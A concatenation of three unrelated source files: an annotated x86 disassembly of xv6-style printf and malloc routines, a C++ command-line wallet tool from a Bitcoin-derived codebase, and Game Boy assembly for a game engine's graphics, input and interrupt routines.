624: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
628: 8b 45 f4 mov -0xc(%ebp),%eax
62b: 0f b6 00 movzbl (%eax),%eax
62e: 84 c0 test %al,%al
630: 75 da jne 60c <printf+0xe3>
632: eb 65 jmp 699 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
634: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
638: 75 1d jne 657 <printf+0x12e>
putc(fd, *ap);
63a: 8b 45 e8 mov -0x18(%ebp),%eax
63d: 8b 00 mov (%eax),%eax
63f: 0f be c0 movsbl %al,%eax
642: 83 ec 08 sub $0x8,%esp
645: 50 push %eax
646: ff 75 08 pushl 0x8(%ebp)
649: e8 04 fe ff ff call 452 <putc>
64e: 83 c4 10 add $0x10,%esp
ap++;
651: 83 45 e8 04 addl $0x4,-0x18(%ebp)
655: eb 42 jmp 699 <printf+0x170>
} else if(c == '%'){
657: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
65b: 75 17 jne 674 <printf+0x14b>
putc(fd, c);
65d: 8b 45 e4 mov -0x1c(%ebp),%eax
660: 0f be c0 movsbl %al,%eax
663: 83 ec 08 sub $0x8,%esp
666: 50 push %eax
667: ff 75 08 pushl 0x8(%ebp)
66a: e8 e3 fd ff ff call 452 <putc>
66f: 83 c4 10 add $0x10,%esp
672: eb 25 jmp 699 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
674: 83 ec 08 sub $0x8,%esp
677: 6a 25 push $0x25
679: ff 75 08 pushl 0x8(%ebp)
67c: e8 d1 fd ff ff call 452 <putc>
681: 83 c4 10 add $0x10,%esp
putc(fd, c);
684: 8b 45 e4 mov -0x1c(%ebp),%eax
687: 0f be c0 movsbl %al,%eax
68a: 83 ec 08 sub $0x8,%esp
68d: 50 push %eax
68e: ff 75 08 pushl 0x8(%ebp)
691: e8 bc fd ff ff call 452 <putc>
696: 83 c4 10 add $0x10,%esp
}
state = 0;
699: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6a0: 83 45 f0 01 addl $0x1,-0x10(%ebp)
6a4: 8b 55 0c mov 0xc(%ebp),%edx
6a7: 8b 45 f0 mov -0x10(%ebp),%eax
6aa: 01 d0 add %edx,%eax
6ac: 0f b6 00 movzbl (%eax),%eax
6af: 84 c0 test %al,%al
6b1: 0f 85 94 fe ff ff jne 54b <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
6b7: 90 nop
6b8: c9 leave
6b9: c3 ret
000006ba <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
6ba: 55 push %ebp
6bb: 89 e5 mov %esp,%ebp
6bd: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
6c0: 8b 45 08 mov 0x8(%ebp),%eax
6c3: 83 e8 08 sub $0x8,%eax
6c6: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6c9: a1 68 0b 00 00 mov 0xb68,%eax
6ce: 89 45 fc mov %eax,-0x4(%ebp)
6d1: eb 24 jmp 6f7 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6d3: 8b 45 fc mov -0x4(%ebp),%eax
6d6: 8b 00 mov (%eax),%eax
6d8: 3b 45 fc cmp -0x4(%ebp),%eax
6db: 77 12 ja 6ef <free+0x35>
6dd: 8b 45 f8 mov -0x8(%ebp),%eax
6e0: 3b 45 fc cmp -0x4(%ebp),%eax
6e3: 77 24 ja 709 <free+0x4f>
6e5: 8b 45 fc mov -0x4(%ebp),%eax
6e8: 8b 00 mov (%eax),%eax
6ea: 3b 45 f8 cmp -0x8(%ebp),%eax
6ed: 77 1a ja 709 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6ef: 8b 45 fc mov -0x4(%ebp),%eax
6f2: 8b 00 mov (%eax),%eax
6f4: 89 45 fc mov %eax,-0x4(%ebp)
6f7: 8b 45 f8 mov -0x8(%ebp),%eax
6fa: 3b 45 fc cmp -0x4(%ebp),%eax
6fd: 76 d4 jbe 6d3 <free+0x19>
6ff: 8b 45 fc mov -0x4(%ebp),%eax
702: 8b 00 mov (%eax),%eax
704: 3b 45 f8 cmp -0x8(%ebp),%eax
707: 76 ca jbe 6d3 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
709: 8b 45 f8 mov -0x8(%ebp),%eax
70c: 8b 40 04 mov 0x4(%eax),%eax
70f: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
716: 8b 45 f8 mov -0x8(%ebp),%eax
719: 01 c2 add %eax,%edx
71b: 8b 45 fc mov -0x4(%ebp),%eax
71e: 8b 00 mov (%eax),%eax
720: 39 c2 cmp %eax,%edx
722: 75 24 jne 748 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
724: 8b 45 f8 mov -0x8(%ebp),%eax
727: 8b 50 04 mov 0x4(%eax),%edx
72a: 8b 45 fc mov -0x4(%ebp),%eax
72d: 8b 00 mov (%eax),%eax
72f: 8b 40 04 mov 0x4(%eax),%eax
732: 01 c2 add %eax,%edx
734: 8b 45 f8 mov -0x8(%ebp),%eax
737: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
73a: 8b 45 fc mov -0x4(%ebp),%eax
73d: 8b 00 mov (%eax),%eax
73f: 8b 10 mov (%eax),%edx
741: 8b 45 f8 mov -0x8(%ebp),%eax
744: 89 10 mov %edx,(%eax)
746: eb 0a jmp 752 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
748: 8b 45 fc mov -0x4(%ebp),%eax
74b: 8b 10 mov (%eax),%edx
74d: 8b 45 f8 mov -0x8(%ebp),%eax
750: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
752: 8b 45 fc mov -0x4(%ebp),%eax
755: 8b 40 04 mov 0x4(%eax),%eax
758: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
75f: 8b 45 fc mov -0x4(%ebp),%eax
762: 01 d0 add %edx,%eax
764: 3b 45 f8 cmp -0x8(%ebp),%eax
767: 75 20 jne 789 <free+0xcf>
p->s.size += bp->s.size;
769: 8b 45 fc mov -0x4(%ebp),%eax
76c: 8b 50 04 mov 0x4(%eax),%edx
76f: 8b 45 f8 mov -0x8(%ebp),%eax
772: 8b 40 04 mov 0x4(%eax),%eax
775: 01 c2 add %eax,%edx
777: 8b 45 fc mov -0x4(%ebp),%eax
77a: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
77d: 8b 45 f8 mov -0x8(%ebp),%eax
780: 8b 10 mov (%eax),%edx
782: 8b 45 fc mov -0x4(%ebp),%eax
785: 89 10 mov %edx,(%eax)
787: eb 08 jmp 791 <free+0xd7>
} else
p->s.ptr = bp;
789: 8b 45 fc mov -0x4(%ebp),%eax
78c: 8b 55 f8 mov -0x8(%ebp),%edx
78f: 89 10 mov %edx,(%eax)
freep = p;
791: 8b 45 fc mov -0x4(%ebp),%eax
794: a3 68 0b 00 00 mov %eax,0xb68
}
799: 90 nop
79a: c9 leave
79b: c3 ret
0000079c <morecore>:
static Header*
morecore(uint nu)
{
79c: 55 push %ebp
79d: 89 e5 mov %esp,%ebp
79f: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
7a2: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
7a9: 77 07 ja 7b2 <morecore+0x16>
nu = 4096;
7ab: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
7b2: 8b 45 08 mov 0x8(%ebp),%eax
7b5: c1 e0 03 shl $0x3,%eax
7b8: 83 ec 0c sub $0xc,%esp
7bb: 50 push %eax
7bc: e8 39 fc ff ff call 3fa <sbrk>
7c1: 83 c4 10 add $0x10,%esp
7c4: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
7c7: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
7cb: 75 07 jne 7d4 <morecore+0x38>
return 0;
7cd: b8 00 00 00 00 mov $0x0,%eax
7d2: eb 26 jmp 7fa <morecore+0x5e>
hp = (Header*)p;
7d4: 8b 45 f4 mov -0xc(%ebp),%eax
7d7: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
7da: 8b 45 f0 mov -0x10(%ebp),%eax
7dd: 8b 55 08 mov 0x8(%ebp),%edx
7e0: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
7e3: 8b 45 f0 mov -0x10(%ebp),%eax
7e6: 83 c0 08 add $0x8,%eax
7e9: 83 ec 0c sub $0xc,%esp
7ec: 50 push %eax
7ed: e8 c8 fe ff ff call 6ba <free>
7f2: 83 c4 10 add $0x10,%esp
return freep;
7f5: a1 68 0b 00 00 mov 0xb68,%eax
}
7fa: c9 leave
7fb: c3 ret
000007fc <malloc>:
void*
malloc(uint nbytes)
{
7fc: 55 push %ebp
7fd: 89 e5 mov %esp,%ebp
7ff: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
802: 8b 45 08 mov 0x8(%ebp),%eax
805: 83 c0 07 add $0x7,%eax
808: c1 e8 03 shr $0x3,%eax
80b: 83 c0 01 add $0x1,%eax
80e: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
811: a1 68 0b 00 00 mov 0xb68,%eax
816: 89 45 f0 mov %eax,-0x10(%ebp)
819: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
81d: 75 23 jne 842 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
81f: c7 45 f0 60 0b 00 00 movl $0xb60,-0x10(%ebp)
826: 8b 45 f0 mov -0x10(%ebp),%eax
829: a3 68 0b 00 00 mov %eax,0xb68
82e: a1 68 0b 00 00 mov 0xb68,%eax
833: a3 60 0b 00 00 mov %eax,0xb60
base.s.size = 0;
838: c7 05 64 0b 00 00 00 movl $0x0,0xb64
83f: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
842: 8b 45 f0 mov -0x10(%ebp),%eax
845: 8b 00 mov (%eax),%eax
847: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
84a: 8b 45 f4 mov -0xc(%ebp),%eax
84d: 8b 40 04 mov 0x4(%eax),%eax
850: 3b 45 ec cmp -0x14(%ebp),%eax
853: 72 4d jb 8a2 <malloc+0xa6>
if(p->s.size == nunits)
855: 8b 45 f4 mov -0xc(%ebp),%eax
858: 8b 40 04 mov 0x4(%eax),%eax
85b: 3b 45 ec cmp -0x14(%ebp),%eax
85e: 75 0c jne 86c <malloc+0x70>
prevp->s.ptr = p->s.ptr;
860: 8b 45 f4 mov -0xc(%ebp),%eax
863: 8b 10 mov (%eax),%edx
865: 8b 45 f0 mov -0x10(%ebp),%eax
868: 89 10 mov %edx,(%eax)
86a: eb 26 jmp 892 <malloc+0x96>
else {
p->s.size -= nunits;
86c: 8b 45 f4 mov -0xc(%ebp),%eax
86f: 8b 40 04 mov 0x4(%eax),%eax
872: 2b 45 ec sub -0x14(%ebp),%eax
875: 89 c2 mov %eax,%edx
877: 8b 45 f4 mov -0xc(%ebp),%eax
87a: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
87d: 8b 45 f4 mov -0xc(%ebp),%eax
880: 8b 40 04 mov 0x4(%eax),%eax
883: c1 e0 03 shl $0x3,%eax
886: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
889: 8b 45 f4 mov -0xc(%ebp),%eax
88c: 8b 55 ec mov -0x14(%ebp),%edx
88f: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
892: 8b 45 f0 mov -0x10(%ebp),%eax
895: a3 68 0b 00 00 mov %eax,0xb68
return (void*)(p + 1);
89a: 8b 45 f4 mov -0xc(%ebp),%eax
89d: 83 c0 08 add $0x8,%eax
8a0: eb 3b jmp 8dd <malloc+0xe1>
}
if(p == freep)
8a2: a1 68 0b 00 00 mov 0xb68,%eax
8a7: 39 45 f4 cmp %eax,-0xc(%ebp)
8aa: 75 1e jne 8ca <malloc+0xce>
if((p = morecore(nunits)) == 0)
8ac: 83 ec 0c sub $0xc,%esp
8af: ff 75 ec pushl -0x14(%ebp)
8b2: e8 e5 fe ff ff call 79c <morecore>
8b7: 83 c4 10 add $0x10,%esp
8ba: 89 45 f4 mov %eax,-0xc(%ebp)
8bd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8c1: 75 07 jne 8ca <malloc+0xce>
return 0;
8c3: b8 00 00 00 00 mov $0x0,%eax
8c8: eb 13 jmp 8dd <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
8ca: 8b 45 f4 mov -0xc(%ebp),%eax
8cd: 89 45 f0 mov %eax,-0x10(%ebp)
8d0: 8b 45 f4 mov -0xc(%ebp),%eax
8d3: 8b 00 mov (%eax),%eax
8d5: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
8d8: e9 6d ff ff ff jmp 84a <malloc+0x4e>
}
8dd: c9 leave
8de: c3 ret
|
// Copyright (c) 2016-2021 The Danxome Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include <config/danxome-config.h>
#endif
#include <chainparams.h>
#include <chainparamsbase.h>
#include <clientversion.h>
#include <interfaces/init.h>
#include <key.h>
#include <logging.h>
#include <pubkey.h>
#include <tinyformat.h>
#include <util/system.h>
#include <util/translation.h>
#include <util/url.h>
#include <wallet/wallettool.h>
#include <exception>
#include <functional>
#include <string>
#include <tuple>
const std::function<std::string(const char*)> G_TRANSLATION_FUN = nullptr;
UrlDecodeFn* const URL_DECODE = nullptr;
static void SetupWalletToolArgs(ArgsManager& argsman)
{
SetupHelpOptions(argsman);
SetupChainParamsBaseOptions(argsman);
argsman.AddArg("-version", "Print version and exit", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
argsman.AddArg("-datadir=<dir>", "Specify data directory", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
argsman.AddArg("-wallet=<wallet-name>", "Specify wallet name", ArgsManager::ALLOW_ANY | ArgsManager::NETWORK_ONLY, OptionsCategory::OPTIONS);
argsman.AddArg("-dumpfile=<file name>", "When used with 'dump', writes out the records to this file. When used with 'createfromdump', loads the records into a new wallet.", ArgsManager::ALLOW_ANY | ArgsManager::DISALLOW_NEGATION, OptionsCategory::OPTIONS);
argsman.AddArg("-debug=<category>", "Output debugging information (default: 0).", ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
argsman.AddArg("-descriptors", "Create descriptors wallet. Only for 'create'", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
argsman.AddArg("-legacy", "Create legacy wallet. Only for 'create'", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
argsman.AddArg("-format=<format>", "The format of the wallet file to create. Either \"bdb\" or \"sqlite\". Only used with 'createfromdump'", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
argsman.AddArg("-printtoconsole", "Send trace/debug info to console (default: 1 when no -debug is true, 0 otherwise).", ArgsManager::ALLOW_ANY, OptionsCategory::DEBUG_TEST);
argsman.AddCommand("info", "Get wallet info");
argsman.AddCommand("create", "Create new wallet file");
argsman.AddCommand("salvage", "Attempt to recover private keys from a corrupt wallet. Warning: 'salvage' is experimental.");
argsman.AddCommand("dump", "Print out all of the wallet key-value records");
argsman.AddCommand("createfromdump", "Create new wallet file from dumped records");
}
static bool WalletAppInit(ArgsManager& args, int argc, char* argv[])
{
SetupWalletToolArgs(args);
std::string error_message;
if (!args.ParseParameters(argc, argv, error_message)) {
tfm::format(std::cerr, "Error parsing command line arguments: %s\n", error_message);
return false;
}
if (argc < 2 || HelpRequested(args) || args.IsArgSet("-version")) {
std::string strUsage = strprintf("%s danxome-wallet version", PACKAGE_NAME) + " " + FormatFullVersion() + "\n";
if (!args.IsArgSet("-version")) {
strUsage += "\n"
"danxome-wallet is an offline tool for creating and interacting with " PACKAGE_NAME " wallet files.\n"
"By default danxome-wallet will act on wallets in the default mainnet wallet directory in the datadir.\n"
"To change the target wallet, use the -datadir, -wallet and -testnet/-regtest arguments.\n\n"
"Usage:\n"
" danxome-wallet [options] <command>\n";
strUsage += "\n" + args.GetHelpMessage();
}
tfm::format(std::cout, "%s", strUsage);
return false;
}
// check for printtoconsole, allow -debug
LogInstance().m_print_to_console = args.GetBoolArg("-printtoconsole", args.GetBoolArg("-debug", false));
if (!CheckDataDirOption()) {
tfm::format(std::cerr, "Error: Specified data directory \"%s\" does not exist.\n", args.GetArg("-datadir", ""));
return false;
}
// Check for chain settings (Params() calls are only valid after this clause)
SelectParams(args.GetChainName());
return true;
}
int main(int argc, char* argv[])
{
ArgsManager& args = gArgs;
#ifdef WIN32
util::WinCmdLineArgs winArgs;
std::tie(argc, argv) = winArgs.get();
#endif
int exit_status;
std::unique_ptr<interfaces::Init> init = interfaces::MakeWalletInit(argc, argv, exit_status);
if (!init) {
return exit_status;
}
SetupEnvironment();
RandomInit();
try {
if (!WalletAppInit(args, argc, argv)) return EXIT_FAILURE;
} catch (const std::exception& e) {
PrintExceptionContinue(&e, "WalletAppInit()");
return EXIT_FAILURE;
} catch (...) {
PrintExceptionContinue(nullptr, "WalletAppInit()");
return EXIT_FAILURE;
}
const auto command = args.GetCommand();
if (!command) {
tfm::format(std::cerr, "No method provided. Run `danxome-wallet -help` for valid methods.\n");
return EXIT_FAILURE;
}
if (command->args.size() != 0) {
tfm::format(std::cerr, "Error: Additional arguments provided (%s). Methods do not take arguments. Please refer to `-help`.\n", Join(command->args, ", "));
return EXIT_FAILURE;
}
ECCVerifyHandle globalVerifyHandle;
ECC_Start();
if (!wallet::WalletTool::ExecuteWalletToolFunc(args, command->command)) {
return EXIT_FAILURE;
}
ECC_Stop();
return EXIT_SUCCESS;
}
|
SECTION "Core", ROM0
; SetBank a = bank ;TODO: handle more than 255 banks
; Trampoline b = bank, hl = address, can only use de and RAM for args, can't return anything in a
; UpdateInput
; DrawStateMap
; ClearTiles a = clear tile, display should be off
; ClearScreen a = clear tile, display should be off
; SetTiles a = draw flags, hl=wh, de=xy, bc=firstTile
; CopyToTileBuffer hl=wh, de=xy, bc=firstTile
; SetBkgTilesWithOffset hl=wh, de=xy, bc=in_tiles, a=offset
; SetWinTilesWithOffset hl=wh, de=xy, bc=in_tiles, a=offset
; SetSpriteTiles bc = count, hl = map, de = offset\props
; SetSpriteTilesProps bc = offset\count, hl = tilemap, de = propmap
; MoveSprites bc = xy in screen space, hl = wh in tiles, a = first sprite index
; SetSpriteTilesXY bc = xy in screen space, hl = wh in tiles, de = tilemap, a = VRAM offset
; FlipTileMapX hl=wh; bc=in_tiles, de=out_tiles
; ReverseByte reverses a
; ScrollXYToTileXY returns xy in de
; DistanceToScreenOrVRAMEdge tile xy in de, returns wh in hl
; CopyBkgToWin
; CopyWinToBuffer
; CopyBufferToWin
; GetZeroPaddedNumber a = number, returns padded number in str_buffer, affects str_buffer, all registers
; SignedRandom a = bitmask, returns signed random bytes in d and e
; SetPalettesIndirect hl = palettes in PAL_SET (SGB) fromat
; SetPalettesDirect a = SGB packet header, bc = paletteA, de = paletteB
; GBCSetPalette a = palette id, hl = colors
; CopyPalettesTo hl = destination
; CopyPalettesFrom hl = source
CancelString:: DB "CANCEL", 0
YesNoText:: DB "YES\nNO",0
SaveGameText: DB "Would you like to\nSAVE the game?",0
NowSavingText: DB "Now saving...",0
SavedTheGameText: DB "%s saved\nthe game.",0
SetBank:: ;a = BANK ;TODO: handle more than 255 banks
ld [loaded_bank], a
ld [rROMB0], a
ret
Trampoline:: ;b = bank, hl = address, can only use de and RAM for args, can't return anything in a
ld a, [loaded_bank]
push af;old bank
ld a, b;new bank
call SetBank
ld bc, .bounceBack
push bc ;put return addres on stack before jumping
jp hl
.bounceBack
pop af;old bank
call SetBank
ret
SerialInterrupt::
push af
push bc
push de
push hl
call PS2KeyboardInterrupt
pop hl
pop de
pop bc
pop af
reti
;horizontal blank interrupt, 87-204 clock cycles (22-51 CPU cycles)
LCDInterrupt::
push af
push bc
push de
push hl
ld hl, rLCDInterrupt
ld a, [hli]
ld b, a
ld a, [hl]
ld h, b
ld l, a
ld bc, EndLCDInterrupt
push bc ;put return address on stack before jumping
jp hl
EndLCDInterrupt::
pop hl
pop de
pop bc
pop af
reti
;vertical blank interrupt can be up to 4560 clock cycles (1140 CPU cyclees)
VBLInterrupt::
push af
push bc
push de
push hl
call _HRAM
call UpdateTime
call UpdateAudio
ld a, 1
ld [vbl_done], a
pop hl
pop de
pop bc
pop af
reti
UpdateTime::
ld a, [vbl_timer]
inc a
ld [vbl_timer], a
cp a, 60
ret c
xor a
ld [vbl_timer], a
.testGameState
ld a, [game_state]
and a, GAME_STATE_CLOCK_STARTED
ret z;if game hasn't started, don't increment game time
.incrementSeconds
ld a, [seconds]
inc a
ld [seconds], a
cp a, 60
ret c
.incrementMinutes
xor a
ld [seconds], a
ld a, [minutes]
inc a
ld [minutes], a
cp a, 60
ret c
.incrementHours
xor a
ld [minutes], a
ld a, [hours]
ld h, a
ld a, [hours+1]
ld l, a
inc hl
ld a, h
ld [hours], a
ld a, l
ld [hours+1], a
ret
UpdateInput::;https://gbdev.io/pandocs/#joypad-input
push bc
push hl
;copy button_state to last_button_state
ld a, [button_state]
ld [last_button_state], a
;read DPad
ld hl, rP1
ld a, P1F_GET_DPAD
ld [hl], a ;switch to P15
REPT INPUT_REPEAT;multiple cycles to avoid button bounce
ld a, [hl] ;load DPad
ENDR
and %00001111 ;discard upper nibble
swap a ;move low nibble to high nibble
ld b, a ;store DPad in b
;read A,B,Select,Start
ld a, P1F_GET_BTN
ld [hl], a ;switch to P14
REPT INPUT_REPEAT
ld a, [hl] ;load buttons
ENDR
and %00001111 ;discard upper nibble
or b ;combine DPad with other buttons
cpl ;flip bits so 1 means pressed
ld hl, button_state
ld [hl], a
pop hl
pop bc
ret
ClearTiles:: ;a = tile, display should be off
ld bc, 32*32+20*18
ld hl, _SCRN0
call mem_Set
ret
ClearScreen:: ;a = tile, display should be off
call ClearTiles
ld a, 166
ld [rWX], a
ld a, 143
ld [rWY], a
HIDE_ALL_SPRITES
ret
SetTiles::;a = draw flags, hl=wh, de=xy, bc=firstTile
and a, DRAW_FLAGS_WIN
jr z, .skip
call gbdk_SetWinTiles
ret
.skip
call gbdk_SetBkgTiles
ret
CopyToTileBuffer::;hl=wh, de=xy, bc=firstTile
push hl;wh
ld hl, tile_buffer;destination
COPY_TILE_BLOCK OP_COPY_FROM, SKIP_VRAM
SetToTileBuffer::
ld hl, tile_buffer
push bc
ld b, a
COPY_TILE_BLOCK OP_SET_TO, SKIP_VRAM
CopyToTileBufferWithOffset: ;hl=wh, de=xy, bc=in_tiles, a=offset
push de ;xy
push hl ;wh
push af ;offset
push bc ;in_tiles
ld d, 0
ld e, h ;de = width
ld a, l ;a = height
call math_Multiply
pop bc;in_tiles
pop af;offset
push hl;count
push af;offset
ld hl, tile_buffer
.loop ;for (i = w*h; i > 0; --i)
ld a, [bc]
inc bc
ld d, a
pop af ;offset
push af ;offset
add a, d
ld [hli], a; tiles[i] = in_tiles[i]+offset;
pop af;offset
pop de;count
dec de
push de;count
push af;offset
ld a, d
and a
jr nz, .loop
ld a, e
and a
jr nz, .loop
pop af ;count
pop af ;offset
pop hl ;xy
pop de ;wh
ret
SetBkgTilesWithOffset:: ;hl=wh, de=xy, bc=in_tiles, a=offset
call CopyToTileBufferWithOffset
ld bc, tile_buffer
call gbdk_SetBkgTiles
ret
SetWinTilesWithOffset:: ;hl=wh, de=xy, bc=in_tiles, a=offset
call CopyToTileBufferWithOffset
ld bc, tile_buffer
call gbdk_SetWinTiles
ret
SetSpriteTiles:: ;bc = count, hl = map, de = offset\props
xor a
ld [_i], a
.loop
push bc;count
ld a, [_i]
ld c, a
ld a, [hli]
push hl;map index
add a, d;offset
push de;offset\props
ld d, a ;tile
call gbdk_SetSpriteTile
ld a, [_i]
ld c, a
pop de;offset\props
push de;offset\props
ld d, e
call gbdk_SetSpriteProp
pop de;offset\props
pop hl;map index
ld a, [_i]
inc a
ld [_i], a
pop bc; count
dec bc
ld a, b
or c
jr nz, .loop
ret
SetSpriteTilesProps:: ;bc = offset\count, hl = tilemap, de = propmap
xor a
ld [_i], a
.loop
push bc;offset\count
ld a, [_i]
add a, b
ld c, a
ld a, [hli]
push hl;tilemap index
add a, b;offset
push de;propmap
ld d, a ;tile
push bc;offset & sprite/prop num
call gbdk_SetSpriteTile
pop bc;offset & sprite/prop num
pop de;propmap
ld a, [de]
inc de
push de;propmap
ld d, a
call gbdk_SetSpriteProp
pop de;propmap
pop hl;tilemap
ld a, [_i]
inc a
ld [_i], a
pop bc; count
dec c
jr nz, .loop
ret
; moves a grid of sprite tiles
MoveSprites:: ;bc = xy in screen space, hl = wh in tiles, a = first sprite index
ld [_a], a
xor a
ld [_j], a
.rowLoop ;for (j = 0; j < h; j++)
xor a
ld [_i], a
.columnLoop ;for (i = 0; i < w; i++)
ld a, [_i]
add a ;i*2
add a ;i*4
add a ;i*8
add a, b ;i*8+x
ld d, a
ld a, [_j]
add a; j*2
add a; j*4
add a; j*8
add a, c ;j*8+y
ld e, a
push bc
ld a, [_a]
ld c, a
inc a
ld [_a], a
push hl
call gbdk_MoveSprite;move_sprite(a++, i*8+x, j*8+y);
pop hl
pop bc
ld a, [_i]
inc a
ld [_i], a
sub a, h
jr nz, .columnLoop
ld a, [_j]
inc a
ld [_j], a
sub a, l
jr nz, .rowLoop
ret
;; sets and moves a grid of sprite tiles, skips tiles according to flags, resets sprite_first_tile to 0
SetSpriteTilesXY:: ;bc = xy in screen space, hl = wh in tiles, de = tilemap, a = VRAM offset
ld [sprite_offset], a;offset
push bc
ld b, a
ld a, [sprite_first_tile]
add a, b
ld [_a], a;first tile
pop bc
xor a
ld [_j], a;row
.rowLoop ;for (j = 0; j < h; j++)
xor a
ld [_i], a
.columnLoop ;for (i = 0; i < w; i++)
push bc;xy
push hl;wh
ld a, [sprite_flags]
and SPRITE_FLAGS_SKIP
jr z, .noSkip
ld a, [sprite_skip_id]
ld h, a
ld a, [de]
cp h;skip me
jr z, .skip
.noSkip
ld a, [_a]
cp a, 40
jr nc, .skip
push de;tilemap
ld e, a
inc a
ld [_a], a
ld hl, oam_buffer
sla e ;multiply e by 4
sla e
ld d, 0
add hl, de
ld a, [_j]
add a; j*2
add a; j*4
add a; j*8
add a, c ;j*8+y
ld [hli], a;y
ld a, [_i]
add a ;i*2
add a ;i*4
add a ;i*8
add a, b ;i*8+x
ld [hli], a;x
ld a, [sprite_offset];offset
ld b, a
pop de;tilemap
ld a, [de]
add a, b
ld [hli], a;tile
ld a, [sprite_props]
ld [hli], a
.skip
inc de;tile index
pop hl;wh
pop bc;xy
ld a, [_i]
inc a
ld [_i], a
sub a, h
jr nz, .columnLoop
ld a, [_j]
inc a
ld [_j], a
sub a, l
jr nz, .rowLoop
ld a, [sprite_flags]
and SPRITE_FLAGS_CLEAR_END
ret z
ld a, [_a]
ld e, a
ld hl, oam_buffer
sla e ;multiply e by 4
sla e
ld d, 0
add hl, de
ld a, 160
sub a, e
ld b, 0
ld c, a
xor a
call mem_Set
xor a
ld [sprite_first_tile], a;reset first tile to zero ;TODO: handle this better
ret
FlipTileMapX::;hl=wh; bc=in_tiles, de=out_tiles
push hl;wh
xor a
ld [_j], a
.rowLoop
pop hl;wh
push hl
ld a, h
ld [_i], a
push de;out_tiles
ld d, 0
ld e, a
ld a, [_j]
inc a
call math_Multiply
dec hl
add hl, bc
pop de;out_tiles
.columnLoop
ld a, [hld]
ld [de], a
inc de
ld a, [_i]
dec a
ld [_i], a
jr nz, .columnLoop
ld a, [_j]
inc a
ld [_j], a
pop hl;wh
push hl
cp l
jr nz, .rowLoop
pop hl
ret
ReverseByte::;byte in a
push bc
ld b,a ; a = 76543210
rlca
rlca ; a = 54321076
xor b
and $AA
xor b ; a = 56341270
ld b,a
rlca
rlca
rlca ; a = 41270563
rrc b ; b = 05634127
xor b
and $66
xor b ; a = 01234567
pop bc
ret
ScrollXYToTileXY::;returns xy in de
ld a, [rSCX]
rra;x/2
rra;x/4
rra;x/8
ld d, a ; x
ld a, [rSCY]
rra;x/2
rra;x/4
rra;x/8
ld e, a ; y
ret
DistanceToScreenOrVRAMEdge::;tile xy in de, returns wh in hl
ld a, 32
sub a, d
ld h, a ; w
ld a, 20
cp h
jr nc, .skipWidth
ld h, a
.skipWidth
ld a, 32
sub a, e
ld l, a ; h
ld a, 18
cp l
jr nc, .skipHeight
ld l, a
.skipHeight
ret
CopyBkgToWin::
call ScrollXYToTileXY;de
call DistanceToScreenOrVRAMEdge;hl
.upperLeft
push hl;wh
push de;xy
ld bc, bkg_buffer
call gbdk_GetBkgTiles
pop de;xy
pop hl;wh
push hl
push de
ld de, 0
ld bc, bkg_buffer
call gbdk_SetWinTiles
